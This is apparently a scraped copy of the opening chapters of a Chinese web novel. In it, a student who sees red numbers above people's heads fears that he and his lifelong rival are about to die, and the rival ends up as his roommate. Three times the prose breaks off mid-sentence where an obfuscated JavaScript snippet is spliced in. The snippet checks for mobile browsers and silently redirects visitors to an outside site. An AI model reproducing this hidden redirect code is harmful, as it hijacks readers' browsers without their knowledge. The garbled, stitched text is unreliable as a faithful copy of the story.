《和死对头靠kiss续命》 1. 零 “我没事,你们不用来,明天就该出院了。” 医院走廊中,弥漫着淡淡消毒水的气息。 一名身穿白色T恤的年轻人正举着手机和家人报平安。 “那怎么能行?脑袋受伤这么大的事,你居然瞒着我和你爸爸。” “我们已经买好机票了,明天下午就到,你先别出院,妈妈要问一下医生到底有没有问题。” 听着电话那头母亲连珠炮般的决定,林杳捏了捏鼻梁,无声叹了口气。 “好吧。”林杳拗不过,“路上注意安全。” 挂断电话后,林杳转身回到病房。 他四肢修长,身材比例极好,毫无版型的纯白T恤穿在他身上都好似高级定制,只可惜再往上看去,额头之间潦草地缠着一圈绷带,把他的发型整成了鸡窝。 发型决定气质,这过分拉风的发型把林杳生生从巴黎时装周拽回了乡村大舞台。 不过林杳本人对此并不在意。他走进病房,正打算洗漱就寝,却发现旁边床位的那位小少年的床位空了出来。 这间病房住着三个病人,40、41和42床。 林杳是42床。 今天下午,41床那名因车祸入院的少年病情急转直下,被医生护士们围床抢救了半个多钟头,惊动了整层楼。 林杳能走能动,不想留在病房里碍事,就回避了,所以并不知后来发生了什么。 林杳指着空床,问40床的病友:“他情况如何了?” 40床病友是个三十出头的男人,他满面阴沉,手中拿着的苹果被咬了一口,剩余部分已氧化、发黄,干瘪瘪失去了水分。 听见林杳问话,男人愣了一会儿才回神,平静地说:“他走了。” 林杳怔忪,蓦然理解了男人口中的“走了”是什么意思。 病房内一时安静到连呼吸声都显得格外聒噪。 林杳垂下眼,手中握着漱口杯却不知所措。 旋即,他瞳孔放大,脑海中倏忽浮现了某种令人不安的猜测。 林杳猛地抬头,看向拿着苹果的男人,确认他头顶上那串红色的阿拉伯数字还在。 300。 未有增减。 这是林杳在撞到脑袋后莫名觉醒的特异功能,可以看见少数人头顶的数字,但意义不明。 这两天林杳闲来没事,一直在思考自己是不是撞坏了,当然偶尔也忍不住去想那数字到底有何种含义。 此时此刻听见病友的噩耗,林杳忽然有了一些猜想。 在住院第二天,41床的少年主动和林杳攀谈了两句,不久后,林杳就看见他脑袋上浮现出了一个数字:0。 不到二十四个小时后,那人就去世了。 虽然荒谬至极,但林杳不得不将数字和人的寿数联系在一起。 当然人不可能活三百年,林杳猜测数字单位或许是月,不过也有可能是生命值之类的东西。 吃苹果的男人还剩300,所以他恢复得很好,明天就要出院了。 41床的数字是0,于是没活过第二天…… 即便样本数量还不能够支撑林杳得出确凿的结论,可猜测一旦根植在心底,就不好打消了。 当然,如果仅仅是有了这个猜测,还不足以让林杳这般惊惶。 林杳如梦方醒,两步迈进洗手间,牢牢盯着镜子里的自己,确认了足足三遍,甚至还闭了闭眼睛,终于在看见数字的那一刻彻底死心。 ——在他自己的脑袋顶上,赫然也是个拳头大小的红色零鸭蛋。 昨天偶然看见,林杳不以为意,只当是撞到脑袋的幻觉,除了觉得红色零鸭蛋不太吉利之外,没有别的想法。 林杳踉跄着后退半步,他不明白,自己年仅十八,向来无病无灾,怎会如此? 林杳打开水龙头,捧起冰凉的自来水,泼在脸上。 几分钟后,生性沉稳的林杳以一种不可思议的速度冷静了下来。 他重新抬头,与镜子中的自己对视,眼底的波澜逐渐消散。 如果自己当真时日无多,惊恐害怕也无济于事,倒不如调整好心态,把该做而未做的事做了,争取走得不留遗憾。 这个数字没有小数点,虽然显示是零,但说不准是四舍五入制,自己现在还活着,肯定是还剩个零点几。 况且绝症病人靠调整生活习惯与心态延长寿命的例子不胜枚举,说不定自己能找到办法延长寿命。林杳绝不打算就这样毫无挣扎地死了。 长舒一口气后,林杳恢复了平素的镇定自若,接水刷牙。 --- 早八,课堂上睡气沉沉。 盛云阔捉着中性笔,单手撑着下巴颏,没睡觉,但显然也心不在焉。 旁边室友戳了戳他,指着手机屏幕,示意他看消息。 盛云阔回神,打开微信。 【小张(努力版):中午一起去东食堂吃饭?】 盛云阔:【不了,我要去医院。】 【小张(努力版):去看林杳吗?代我向他问好。】 盛云阔勾唇一笑:【不是去看他,是去嘲笑他。】 【小张(努力版):?】 下课后,盛云阔麻溜收拾了背包,拍了拍小张的背,潇洒离去。 出了校门,盛云阔特豪气地叫了一辆出租车,他得快点儿赶到医院去嘲笑林杳才行,试问哪个二十来岁的人洗个澡还能把自己摔进医院的?刚知道这消息的时候,盛云阔差点把门牙笑掉。 半小时后,人高腿长、英俊阳光的盛云阔挂着令他颜值减分的欠扁笑容,提着午饭,跨进了病房:“让我瞧瞧是哪个傻瓜洗澡都能摔跤啊,哦~原来是我们林小杳同学。” 在盛云阔的预想中,林杳听见这话定然会恼羞成怒,然后红着眼睛压着嗓子咬牙切齿地叫自己的名字。 可预料中的情景没有出现。 林杳在听见盛云阔的叽叽喳喳后,没有任何情绪波动,只是静静转过头来,望了他一眼。 今天的林杳规规矩矩地靠坐在病床上,被子恰到好处地盖到小腹之上,淡然抿唇一笑,说:“你来了。” 不对劲,林杳这家伙绝对没憋好屁。 盛云阔吓得后退一步。 林杳可没有任何不好的主意,他只是想开了。 他和盛云阔从小较劲到现在,已经十八年了。 两人同年同月同日生,前后只相差半小时,盛云阔是先落地的那个。 因此小时候盛云阔没少拿这件事出来哔哔,逼林杳叫他哥哥。 林杳则表示,他奶奶说自己出生的这个时间更吉利,比盛云阔强。 上幼儿园后,盛云阔总是最早吃完饭的那个小朋友,经常能得到老师的小红花。 林杳不服气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437353|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭速度比不过某个饭桶,就殷勤地帮老师收拾小板凳。 每天放学后,俩人第一件事就是数谁得的小红花更多。 有一次盛云阔自知小红花不够,偷偷从林杳书包上摘了一朵,林杳发现之后,俩人打了一架,遂被老师叫家长,同时没收全部小红花。 小学时,两人竞选班长,盛云阔为了拉票,悄悄给全班同学买辣条。林杳反手一个举报。当天盛云阔就被叫去办公室,老师批评他带着同学们吃垃圾食品,接着直接钦定平时成绩更好、更乖巧的林杳当了班长。 等到了初中,被林杳狠压六年的盛云阔终于畅快地出了一口气,因为他窜个头比林杳快,一个学期长了十公分,从此俯视林杳。 三年中,盛云阔有事没事就会按着林杳的脑袋,笑得可恶,叫他:“乖弟弟。” 那段时间林杳几乎喝遍了市面上所有牌子的牛奶,可惜最终还是没有超过盛云阔。 不过很快,林杳又打了一场翻身仗。他中考成了家乡小城的状元,狂甩盛云阔二十分,直升当地最好高中的尖子班。 受到刺激的盛云阔整整一个暑假都没出门玩,全闷在家里预习、刷题,总算在入学考的时候一跃成为年级第一,跟着选入尖子班,再次荣幸地成为林杳的同桌。 两人又较劲了三年,直到高考林杳以两分的微弱优势再度夺魁。二人考进同一所大学的同一个院系。 进入大学,要比的事情就更多了:绩点、学生活动、志愿项目、奖学金,甚至还有谁更受女孩子欢迎。两人始终有来有回,有胜有负。 当然,最后一条比较是暗戳戳进行的,也很难量化,所以暂时未分胜负。 总之,在林杳撞到头之前,他的生活可以说两眼一睁,就在跟盛云阔比赛。 既然自己大限将至,那从前的恩恩怨怨都可以放下了。 林杳要养生,比来比去的实在不利于心情愉悦,会折寿。 而且…… 林杳心情复杂地盯着盛云阔的脑袋顶上看,一个明晃晃红艳艳的零蛋过分闪耀,让他想不注意到都难。 盛云阔能吃能睡,一米八八的傻大个还有六块腹肌,为什么会和自己一样是零? 虽说林杳和盛云阔较劲了一辈子,可毕竟认识了这么久,见到对方也寿数无多,林杳在难过的同时,难免也升起了同病相怜之感。 心中暗暗叹了口气,罢了罢了,作为从小到大的对手,林杳决定还是提醒盛云阔几句,以免他稍不留神就把自己作死了。 不过自己能看见奇怪数字的事肯定不能提,否则按照盛云阔的尿性,非笑话自己撞傻了不可。 心里想的是善意的提醒,可话说出口,林杳语气中依旧难免揶揄: “施主以后口中还是积点德吧,说不准还能多活两年。” 盛云阔愣住。 随即,他探出手背,在林杳额头上试了试温度。 “也不烧啊,怎么在说胡话?”盛云阔嘟囔两句,忽然爆笑起来,“哈哈哈哈哈!林杳你小子撞傻了吧,还施主呢,难道你把自己当和尚了?诶,你该不会出院之后还要去剃光头吧?哈哈哈哈!” 林杳:“……” 他的确傻了,居然傻到同情心泛滥来劝告这个傻逼。 算了,不生气,气出病来无人替。 反正就盛云阔这浪催的样子,自己肯定活得比他长。 2. 死gay装直 “杳杳,妈妈来了,你没事吧?” 病房门口传来了一道焦急关切的女声。 林杳和盛云阔两人的拌嘴中止,同时转头看过去。 林杳刚看清来人是自家老妈,对方就已经两步跨到了病床边,捉起他的手,眼眶霎时湿润。 “这学校离家也太远了,你孤身在外,有点什么事,爸妈的心都要碎了。”樊灵女士的情绪相当激动,抓着儿子不撒手。 紧随其后,林裕升先生拖着巨大的行李箱走了进来。他同样担心儿子,但他感情向来内敛,在看见面色红润的林杳后,当即就松了口气。 这才上午十一点半,林杳没想到父母来得这么快:“你们不是说下午才到吗?” 樊灵回答:“我和你爸打了个飞的就来了。早点见到你,我们才早点安心啊。” 林杳无奈一笑,想说自己没事,可转念又记起头顶数字的事情,最终什么也没说。 倒是从方才开始就退到一旁的盛云阔出声,打了个招呼:“叔叔阿姨好。” 林家父母总算注意到病房内还有个大活人。 樊灵抬眼看见盛云阔,脸色有瞬间的僵硬。同时林裕升上前半步,按住妻子的肩膀,不动声色地使了使劲儿。夫妻俩顿时心意相通。 “没注意小盛在这儿,你来看杳杳的吗?”樊灵热情笑起来,“你这孩子真是有心了,阿姨谢谢你。” 纵使樊灵反应得很快,表情更是看不出破绽,可方才那片刻凝重的沉默终归令人无法忽视,盛云阔不是个心思敏感的人,但也不会迟钝至此。 显然林家父母不太高兴见到自己。 盛云阔识趣,身子侧向门口,告辞道:“没想到叔叔阿姨会来,我就不打扰了,下午还有课,先走了,再见。” “诶好好好,别耽误你上课。” “多谢啊小盛!” 等人走了之后,樊灵长舒一口气,紧张得竟不像是在和一个小辈说话。 林裕升用胳膊肘碰了碰她,埋怨道:“你表现太明显了,被小盛感觉到了。” “我这不是压根没想到他会在这儿嘛。”樊灵辩解,“而且你好意思说我?你自己不也反应特大吗?” 林杳不解父母的哑谜,蹙眉询问:“你们在说什么,盛云阔怎么了吗?” 樊灵迅速揭过话题:“没有没有,你饿了吧?妈妈再去买点饭,咱仨先吃饭。” 林杳还想再问,可樊灵已经抓着林裕升离去。 林杳不明白,盛云阔和自己一样一直在京市上学,能和远在千里之外的老爹老妈之间发生什么事? 不一会儿林家父母提着几个打包盒回来,一家三口围在病床边上,将就着吃医院的病号餐。 樊灵不停地给林杳夹菜,很快就堆起一座小山。 “受伤的人要多吃点饭,伤口愈合需要营养。” 吃到一半,樊灵终于说起了今日的正题:“杳杳啊,其实我跟你爸这回过来,除了要看看你,还有一件事想跟你商量。” 林杳咽下口中的食物:“什么事?” 樊灵说:“我和你爸爸都觉得你宿舍条件不好,这回摔跤肯定也是因为澡堂人太多地太滑,不如出去租房子,自己住着舒服又清净。” 林杳不太赞成:“这可是京市,学校附近的房价要七八千一个月,算了吧。” 一直没怎么开口的林裕升说话了:“小杳,钱的事你不需要担心。你还记得开学前见过的刘叔叔吗?他在你们学校家属区的房子闲置好几年了,我们已经租了下来,没那么贵。” 林杳微愣,有些不自在。他已经成年了,还被爸妈这般精心呵护。 但樊灵没有给他犹豫的机会,直接说:“今天下午咱们就去收拾屋子。” 午后,一家人去给林杳办理了出院,樊灵拉着医生把林杳从头到脚的情况都问了一遍。得到没有大碍的回答才放下心来。 护士还帮林杳拆掉了累赘的绷带,只留下一块纱布贴在额角。 林杳被封印两天的颜值终于在发型恢复后得到了解放。 而后三人坐车去学校宿舍收拾东西搬行李,等到达家属区的房子,已是暮色四合,该吃晚饭的时间了。 家属区职工宿舍的条件可比外面的出租的单间好了不止一个档次,虽说修建有些年头了,六十来平不算太大,但好歹是两室一厅的格局,小巧又温馨。 进屋后,樊灵都不带歇息的,卸下林裕升扛着的行李,撸起袖子开始打扫整理。 林裕升总算卸下重担,满脑袋汗珠,坐在沙发上缓和。 林杳递给他矿泉水。这是他唯一能做的了,其他事只要林杳一沾手,就会被樊灵训斥,说他是伤员,不能劳累,旁边凉快去。 正扫着地,樊灵又想到什么,担心地说:“虽说搬出来了吧,但我还是担心。宿舍条件再差,可有室友在,出了什么事也能互相照应。现在杳杳一个人,等我们走了谁来照顾他?” 林裕升点点头,正要说什么,林杳赶紧打断:“没事的,我自己可以。” 父母都还没退休,这次过来也是向单位请了几天假而已。林杳怕老妈再说下去,就该说出辞职陪读之类的话了。 林杳高三时,樊灵就生出过此种念头,林杳劝了好几天才劝住。 然而接下来樊灵的话,完全超出了林杳的想象。 “杳杳,你有没有同学也想出来租房什么的,可以叫来和你一块儿住啊,刚好可以让他照顾你,咱们不收他房租不就成了?” 林杳一口水差点喷出来,连声阻止:“不行,这不好。” 让同学来照顾自己,这也太奇怪了,林杳光是想象就感觉别扭至极。 林裕升也赞成:“这才第一个学期,同学都还不熟悉,不好开口的。而且现在的孩子都是爸妈手心里的宝贝,哪儿懂照顾人,算了吧。” 二比一,樊灵败下阵来,嘟囔了几句后默默去收拾卧室。 · 从医院回来之后,盛云阔去图书馆度过了下午时光,晚饭后背着书包回到了宿舍。 刚迈进宿舍,盛云阔不防和室友小张迎面撞上。 张桦手里拿着一团湿乎乎的纸巾,看见来人是盛云阔,张桦脸色愈发凝重,朝他挤了挤眼睛,同时指向他的书桌。 盛云阔预感不好,走到书桌前,果然看见满地狼藉,大片水渍铺满桌面,还有水珠在次第滴落到椅子与地面上。 更糟糕的是,盛云阔的电脑就放在桌上,被水淹没,没能幸免于难。 或者说干这事儿的人专门就是冲着电脑来的。 盛云阔按了一下开机键,果然毫无反应,脸色阴沉下来:“谁干的?” 宿舍里也就剩下盛云阔和另外一个人,他们两人彼此心知肚明,可那人依旧缩在床帘之后,悄不作声。 电脑是盛云阔暑假打工攒钱自己配的,他闲来爱打些游戏,台式机比笔记本性价比高不少,所以配了个。谁知道好端端放在宿舍里也能出事。 沉默片刻,宿舍里静得出奇。 盛云阔忍不了了,直接爬上另一名室友的床,掀开帘子,逼问:“柳庆天,是不是你干的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437354|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳庆天咂了下舌:“干什么?你自己电脑坏了还怪上别人了?” “我还没说呢,你怎么知道我电脑坏了。”盛云阔咬着后槽牙,“果然是你,敢做不敢当,你等着瞧。” 说完,盛云阔跳下梯子,抓起书包,匆匆就要离去。 恰好张桦扔了垃圾回来,见状拦住了盛云阔,问:“你干嘛去?” 盛云阔被他抓住手臂,回头剜了一眼柳庆天,说:“报警。他毁坏他人财物,该怎么办就怎么办。” “你等等,别着急。”张桦劝到。 盛云阔有些迁怒了,语气不悦:“你别拦我,这事儿没完。” 结果张桦把手机钥匙揣进兜里,说:“我拦你干嘛,我去给你作证,我回来的时候正好撞见他往你机箱上浇水。” 见两人真要去报警,柳庆天也有些慌了,他大喊:“不过是个廉价电脑,不小心洒水上去,大不了赔你就是,有必要搞得这么小气吗?” 本来说到这儿就可以了,那柳庆天非要贱兮兮加一句:“穷乡僻壤来的,就是没见过世面。” 张桦也是小城市出身,或者说在自诩京市本地人的柳庆天看来,全国所有城市都是穷乡僻壤。 这句话扫射范围不小,张桦不乐意了:“你能不能好好说话?” 人在极度愤怒的时候反而会笑。 盛云阔冷笑一声,对张桦说:“别跟他白费口舌,直接报警,走。” 两人转身离开宿舍。 站在电梯前,张桦有些不解,问:“报警咱们直接打电话不就行了,出来的话你不怕他毁坏现场证据吗?” 盛云阔眉头紧蹙,脸上阴云密布:“他说的没错,我那电脑不值钱,警察过来也只是调解赔钱而已。不如去找后勤部和导员,那货往电路上泼水,要真出事,整栋楼都得着火。” “我靠,还是你想得周到。”张桦拍手。 盛云阔被夸了一句,可完全高兴不起来,默然片刻,又说:“但也报个警,好歹几千块钱呢。我又不怕闹大。” 电梯门打开,盛云阔正要跨进去,柳庆天已经冲了出来,强拽住他的胳膊,不许他走。 “他妈的我都说了只是不小心泼了水,多少钱我赔你!” 盛云阔想甩开他,结果对方像只八爪鱼,牢牢攀附着盛云阔的手脚,撕都撕不下来。 盛云阔又气又恼:“靠,你滚啊,恶不恶心!” “我不放手。”柳庆天也发了狠,“你敢去报警,我就把你死gay装直男骗女孩子感情的事情发到喇叭上去,让你社死。” “卧槽,我什么时候装直男了。”盛云阔满头雾水,“不对,老子本来就是直男!” “你快放手!” 张桦加入进来,想帮盛云阔摆脱柳庆天的纠缠。 三人扭在一起,很快惊动了楼层里的其他人,没两分钟,宿管大爷坐直升梯就上来了。 “干嘛干嘛,不许打架!” 宿管大爷老当益壮,大吼一声,上前猛地抓住柳庆天的肩膀,直接将两方分开。 盛云阔踉跄两步,指着发疯似的柳庆天,结果脱口而出的话却是:“你说清楚,谁他妈的在传老子是gay的谣言,老子要把他嘴给缝上!” 柳庆天气血上涌,居然回答了他的问题:“还需要传吗?你和一班的林杳每天晚上都在操场上肩并肩一起跑步,有说有笑的。你别说你俩只是朋友,哪有慢跑跟朋友同一跑道挨着跑的?” 盛云阔脑子嗡的一声。 “我去,那是我俩在比谁跑得快!” 3. 同居生活的前奏 “辅导员说他还在办公室,可以去盖章。” 看着手机里的回复,林杳蹙眉。这都快九点了,辅导员怎么还在,加班这么严重吗? 樊灵向来是个利落性子,能今日办成的事不爱拖到第二天,当即表示:“那好啊,反正没啥事,妈陪你走一趟。” 林裕升先生背了一整天行李,此时已然腰酸背痛,蜷在沙发上摆摆手:“你娘俩去吧,我睡会儿。” “瞧你那样。”樊灵转向林杳,“儿子,咱们走。” “嗯。” 林杳带上申请在外住宿的单子,和老妈一起往办公楼走去。 到了导员办公室所在的六层,其他房间的灯都已熄灭,走廊幽森漆黑,只有尽头那间灯火耀眼,里面传来的谈话声清晰地传出来,在空旷的走廊上荡起了层层回音。 “这事整层楼那么多人都看见了,影响实在不好,你们三个各自写一份书面检讨交上来。” “我不会写的。我可是受害者,说什么也轮不到惩罚我和张桦啊。” “你是哪门子受害者?当众打架不该写检讨吗?” 林杳脚步一顿。 里面的声音,好像是盛云阔? 探头看进去,果然瞧见盛云阔梗着脖子站在辅导员面前,在他旁边还有另外两人,一个表情愤愤,一个深深低着头。 盛云阔扬声反驳:“我可没动手,都是柳庆天单方面纠缠我,电梯间有监控,王大爷也看见了。” 辅导员很是头疼,推了推眼镜:“我已经找宿管老师了解过情况了,当时你也有动手推搡的动作。这事儿不大,写几百字检讨交上来备份就过去了,你别犟。” “那我电脑呢?”盛云阔指着柳庆天,“他往宿舍电路泼水,这也是小事吗?” 辅导员面色不愉:“那你要如何?非要学院开除柳同学才甘心吗?他到底和你是室友,你们要相处四年的。” 柳庆天适逢其时,低着头,语带哭腔说:“都是我的错,我太冲动了,但我也是他们害怕报警……” 辅导员盯向盛云阔:“他已经知错了,而且只是初犯,又没造成重大后果,同学一场,你何苦如此较真?” 盛云阔别过头:“切。” 门外的林杳不太清楚到底发生了什么事,但他能感觉到盛云阔受了委屈。 盛云阔这人,做事风风火火,从小到大捅过无数篓子,可只要是他做错的事,他绝不会抵赖,此时这样据理力争,肯定是对面真做了过分的事。 林杳上前一步,正想敲门打断一下,不料身边的老妈率先迈步进去。 “老师好,我是林杳的妈妈。” 到底是多活了几十年的、老练的成年人,樊灵瞬间换上貌似真诚又恰到好处的假笑,上前不由分说与辅导员握手,直接搅乱了房间内的紧张氛围。 辅导员没想到有人突然闯入,愣了愣。 樊灵拿出申请表:“我过来陪孩子交表盖章,放在这儿可以吗?” “嗯。”辅导员回神,“交了就可以走了,我这里还有点事要处理。” 然而樊灵没有就此离去的打算,她走到盛云阔身旁,如同所有慈爱的长辈那样,虚挽起他的手臂。 “不知道云阔这孩子做了什么?居然让老师这样生气?”樊灵笑眯眯的。 辅导员疑惑:“您是……” “哦,我们家情况比较复杂,但云阔是林杳的哥哥。”樊灵含糊地带过,“这孩子从小是好动一些,但怎么也不至于打架,您瞧这中间是不是有什么误会?” 没想到樊灵会为自己说话,盛云阔眼睛睁大,望着比自己矮了许多的樊灵,心中鼓鼓胀胀的。 辅导员自然而然把樊灵当做了盛云阔的家长,他将樊灵那番话脑补成了重组家庭之类的情况。 家长要了解事情经过,辅导员没办法拒绝,只好简要复述了一遍事发过程。 樊灵在办公桌对面坐了下来,两个大人开始谈话。 盛云阔则不动声色地退到了林杳身边,朝他挤挤眼睛:“你听到了吗?” 林杳表情淡然,八风不动:“什么?” “还能有什么?”盛云阔咧嘴一笑,“你妈刚才说我是你哥呢。” 林杳闭了闭眼睛,掩盖了自己想翻白眼的冲动。 听完事发经过,樊灵笑呵呵,说:“哎呀,这也不是什么大事,只是有点推搡,不算打架。” 辅导员也想大事化小,赞同道:“是,所以我要他们三个分别写份检讨,备个份就行了。” “依我看啊,推搡这事儿的检讨根本不用写,我能做主,原谅那位小同学冲动下的错误。”樊灵特别大度地说。 能得到家长的谅解,这事就更好解决了,辅导员终于露出艰辛的笑容:“能有您这么善解人意的家长,真是感谢。” “只不过呢。” 樊灵话锋一转。 “对方故意损毁我家孩子电脑的事也不能就这么算了,赔钱私了,再让那位小同学就此事写个几千字检讨,我们也就当不知道他是浇了水还是别的什么。我也是当老师的人,理解你工作辛苦,咱们互相理解一下?” 没想到她杀了个回马枪,辅导员呆滞片刻。 辅导员本意是想大被子盖过,这件事在他这儿就糊涂揭过算了,别再上升到学院甚至学校层面。 如果真是电路进水,他就要写无数的情况汇报,还要被领导连番问话,想想就头大。 所以权衡片刻,辅导员做出了最终的抉择:“好,互相理解,那就这样处理吧。” 樊灵起身,又和辅导员握了握手。而后她走到柳庆天面前,拿出手机,礼貌地请求:“小同学,可以加个微信吗?后续阿姨在这上面跟你谈赔偿的事。” 柳庆天什么话也说不出来了,只得乖乖添加了樊灵的微信。 事情处理完,樊灵带着俩孩子离开办公楼。 来到外面,盛云阔叫住樊灵,诚恳道:“阿姨,今天多谢你。” 樊灵一挥手:“这有啥,小事,你早点回去休息啊。” 林杳盯着盛云阔头顶的红色数字零,沉吟片刻,说了句:“别熬夜。” 盛云阔没听清:“嗯?” 林杳已经转过身去,闷闷道:“没。” 就在林杳看不见的地方,樊灵举起手,放在耳边,冲盛云阔做了个接电话的手势。 盛云阔没太看懂,茫然地眨了眨眼,樊灵已经跟上林杳走远了。 昏暗的林荫道,两边的路灯将林杳和樊灵紧靠的身影拉得很长很长,恰好落在了盛云阔的脚边。 秋凉了,盛云阔手插在外套兜里,脸上笑容渐渐消失。 片刻后,他塞上耳机,套了兜帽,转身往另一方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437355|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向走去。 · 三天后,林家父母该启程回家了,林杳跟着来到高铁站相送。 林杳帮忙提了个包,转头问:“妈,你们车次是多少,我看看候车厅在哪里。” 樊灵打开界面,将手机递给林杳。 确认车次时,林杳顺道扫了一眼发车时间,然后他彻底沉默了。 “咋了?”樊灵见他不说话,问。 林杳指着发车时间:“妈,你从早上五点半起床开始就在说时间来不及了,结果发车时间是十二点?” “那咋了?” 林杳扶额:“现在才八点半……” 樊灵拿过手机:“哎哟,你小孩子懂什么,车不等人,早点到,心才不慌嘛。而且我听说大城市早上堵车,动辄两三个小时呢,谁知道今天早上没堵车。” “因为我们坐的是地铁,不会堵车。”林杳好无奈。 林裕升劝和道:“早点到也好,咱们可以慢慢等车,反正也没事,不着急。” 还好今天的课都在下午,林杳只好陪爹妈在车站吃了顿早午饭,又在候车厅边说话边打发时间。 十一点半,开始检票,林杳陪着去排队。 樊灵却让他别送了,交代道:“你好好照顾自己啊,别生病,有什么事都跟我和你爸说,别憋在心里。天高路远的,我们很担心。” “嗯,我知道。”林杳说。 樊灵抓着林杳的手,依依不舍,絮絮叨叨:“虽说你不太赞成,但妈妈终归放心不下,所以还是瞒着你找了个照顾你的人,他今天就会搬进出租屋里,你和他好好相处,听到了吗?” “什么?”林杳惊讶,“你找的谁?” 林杳感到苦恼,语气也有些急了:“我说了不需要别人照顾,我已经是成年人了。而且我和同学都不太熟悉,住在一起别扭。” “你放心,这个人你绝对熟悉。” 樊灵眼睛一亮。 “你瞧,他来接你了。” 林杳蹙眉,转头看过去,一眼便在涌动的人群中锁定了那个鹤立鸡群的存在。 盛云阔穿着浅蓝牛仔夹克,骚包地戴了副墨镜挂在鼻梁上,和林杳目光对上后,他摘下墨镜,并起右手食指和中指,从额头朝林杳飞了个礼。 林杳的脸色霎时如青青草原。 他忙转头想找老妈退货,结果樊灵和林裕升已经过了检票口,站在围栏之后朝他笑着挥手。 “照顾好自己!” 说完,林家爹妈背过身,相携进入乘车通道。 再回头,盛云阔已经走到了林杳身后,语气里带着十足的得意:“乖弟弟,你妈把你托付给哥,以后哥就是你的监护人了。” 林杳:“……” 盛云阔就喜欢看他嫌弃自己却又拿自己没办法的小样儿,犹嫌不够,得寸进尺道:“叫声哥来听听。” 林杳迅速平复了心情,冷冷出声:“纠正一点,是我妈免去了你的房租,雇佣你来照顾我,所以严格意义上来说,你是我的佣人。” 说着,林杳把书包脱下来,递给盛云阔。 “帮我提包,小盛。” 盛云阔呆在原地,下意识接了包。 林杳则潇洒地经过他,往车站外走去。 片刻后,盛云阔反应过来,怒骂:“靠,你能不能给我一点基本的尊重?” 4. 抱歉 即便百般不愿,林杳仍不得不与盛云阔共乘一车,回到学校家属区的出租屋。 盛云阔一米八八的大个儿,往小出租屋里一塞,顿时整个房间都小了一号似的。 两人站在客厅中,彼此对视一眼。接着什么话都没说,默契地分别回到自己的房间内,关门。 对于接下来要和盛云阔在同一屋檐下相处这事儿,林杳不乐意,但也能接受。是盛云阔总比是别的同学好些,起码他俩清楚彼此的尿性,不用装。 林杳在书桌前坐下,打开电脑,新建空白文档,输入标题:《延长寿命与保养身体的注意事项》 --- 深夜,万籁俱寂。 仰躺在床上的林杳睁开眼,还有些懵然。打开手机看时间,凌晨四点。 睡前水喝多了,想上厕所。 林杳从床上起身,刚拧开房门,就听见旁边房间里传来“噼里啪啦”的键盘敲击声。 盛云阔这家伙还没睡? 林杳厕所也不去了,走到盛云阔房间门口,敲了三下门。 无人应答。 林杳不假思索,直接打开房门,发现盛云阔居然戴着头罩式耳机在打游戏。 林杳本不想多管闲事,盛云阔又不是小学生,还需要别人督促早睡早起,他半夜不睡,白天犯困掉粪坑里都不关自己事。 可奈何盛云阔脑袋上那鲜红如血的零蛋实在太过刺眼,张牙舞爪地提醒着林杳:嘿,这个人就快挂了哦。 长叹一口气,林杳走了过去,拍拍盛云阔的肩膀。 盛云阔一个激灵,摘下耳机,看向林杳:“我靠,是你啊,大半夜不睡,吓我一跳。” “我起来上厕所。”林杳解释,“你才是大半夜不睡的那个人。” “你还起夜啊?”盛云阔关注点清奇,“是不是肾不好,啧啧,年纪轻轻的,注意保养啊。” 林杳重重闭了闭眼,调整了气息,说:“现在是凌晨四点,你一个通宵打游戏的人有什么资格让我注意保养。” 盛云阔问:“吵到你了?” “不是。” 屋子隔音还不错,而且盛云阔也戴了耳机,在自己房间内的时候,林杳连屁都没听见半个。 林杳认真地盯着盛云阔,深黑的眼珠中装着发光的电脑屏幕,在昏暗的房间内闪闪如星。 房间里很安静,林杳的声调稍稍柔和下来: “我是想提醒你早点睡,别熬夜,对身体不好。” 盛云阔坐在椅子上,仰头望着林杳的眼睛。 他本来想挤兑林杳两句,就像他平时习惯做的那样,可不知为何,这一刻,他实在没想出来应该说什么才好。 良久,盛云阔别开眼,闷闷回了个:“哦。” 林杳认为他这是听进去了,点到即止,退出了房间。 谁料上完厕所回来,林杳看见盛云阔依旧坐在电脑面前,操作着游戏里的小人战得风生水起,压根把他的话当做了耳边风。 林杳心头无名火起,快步走过去,按下了机箱上的电源键。 “靠!” 显示屏瞬间变黑,盛云阔本能地暗骂一声,接着扭头看向林杳。可林杳懒得再与他费口舌,关了电脑,转身就走。 重新躺回床上后,林杳冲动的心情略微平复了些,觉得自己方才的举动着实有些不妥。 说到底他和盛云阔的关系一般,他俩彼此看对方不顺眼十八年了,实际关系甚至还不如许多大学里的点头之交,自己方才的做法肯定会让盛云阔生气。 